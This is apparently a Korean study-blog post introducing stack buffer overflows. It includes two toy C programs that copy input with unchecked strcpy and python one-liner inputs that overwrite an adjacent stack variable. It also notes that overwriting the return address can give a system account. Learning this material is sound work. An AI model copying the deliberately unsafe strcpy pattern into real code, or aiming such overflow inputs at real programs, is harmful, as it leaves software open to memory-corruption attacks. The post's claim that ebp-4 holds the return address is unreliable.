드디어 시스템 해킹의 꽃 버퍼 오버플로우 를 공부해보자.
일단 메모리의 구조와, 프로세스가 동작하는 원리를 알게되면 자연스럽게 어떤식으로 프로세스가 메모리에 올라가서 실행이되는지
알 수 있게 된다.
그럼 취약점에 대해서도 간단하게 알수있는대..
일단 메모리의 구조를 이용한 취약점이 버퍼 오버플로우 이다.
현재 우리는 완벽한 코드는 없다, 어떤 코드든지 취약점이 존재하고 그취약점을 분석해서 공격, 방어를 하는것이 우리의 목표이다.
여기서 메모리의 구조를 어떤식으로 분석하고, 이용하는지 알아보자.
일단 Buffer Overflow 취약점은
- Stack overflow 라고 생각 하면된다. // 물론 현재 배운내용은 C에 한정되어 있지만 이해를 하게되면 쉽게 다른 언어역시 쉽게 이해된다.
C 에서
char buffer[100];
라는 공간을 만들었다고 치자, 100바이트의 공간안에 어떤 100글자의 문자를 입력할수 있다, 하지만 만약에
strcpy 함수를 이용하면 100 바이트가 넘어가는 글자를 입력했을때 에러가 난다!
이유는 100바이트가 넘는 글자가 복사되어, ebp 의값과, ebp-4 ( return address ) 의 값역시 변경되어 해당 주소로 돌아갈수가 없게된다.
이러한 취약점을 이용해서 주소를 변조하고 내가원하는 코드를 넣으면... 시스템의 계정을 얻을수가 있게 되는 것이다.
간단한 예제를 통해서 알아보자.
#include <stdio.h> int main(int argc, char *argv[]){ char cat[4] = "CAT"; char buffer[100]; if( argc <2 ){ printf("usage: ./cat string\n"); exit(0); } printf("%s\n",cat); strcpy(buffer, argv[1]); printf("%s\n",cat); return 0; } 문제 : buffer overflow를 이용한 cat 을 하나 dog로 출력
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaDOG
를 입력시 DOG 로 바뀌게된다, 이유는 변수를 만들때 메인 안에서 만드는 것은 함수 안에서 만드는 것과 같고,
함수는 스택을 이용해서 변수를 만들게 된다, 그럼 자연스럽게 cat 과 buffer 는 이어지게 만들어질 것이고
buffer 변수에 값을 넘치게 보내면 cat 의 변수 메모리까지 침범이 가능하다
그럼! 변조가 가능하다는 소리!
실습 2 12345678 87654321 로 출력 #include <stdio.h> int main(int argc, char *argv[]){ int cat = 0x12345678; char buffer[100]; if( argc <2 ){ printf("usage: ./cat string\n"); exit(0); } printf("%x\n",cat); strcpy(buffer, argv[1]); printf("%x\n",cat); return 0; }
./cat $(python -c 'print "b" * 100 + "\x21\x43\x65\x87" ') ./cat $(python -c 'print "b" * 100 + "\xff\xff\xff\xff" ')
을 이용하면된다
여기서 중요한것은 python 이 얼마나 많이 이용 되느냐 이다. -> 가능한 많은 도구를 익혀 많은 취약점에 대해서 공부하자!
또한가지! 스택 오버플로우 뿐만아니라, 라이브러리 오버플로우, 힙 오버플로우 등 다양한 오버플로우가 존재한다.
역시 갈길이 멀다... 일단은 스택 오버플로우를 마스터하자!
'System_Security' 카테고리의 다른 글
12. 후킹 (0) | 2017.08.18 |
---|---|
10. 기계어 -> C 복원 연습 (0) | 2017.08.03 |
09. 디버거 (0) | 2017.08.03 |
08. 시스템 콜 (0) | 2017.08.01 |
07. 메인 함수 (0) | 2017.08.01 |
댓글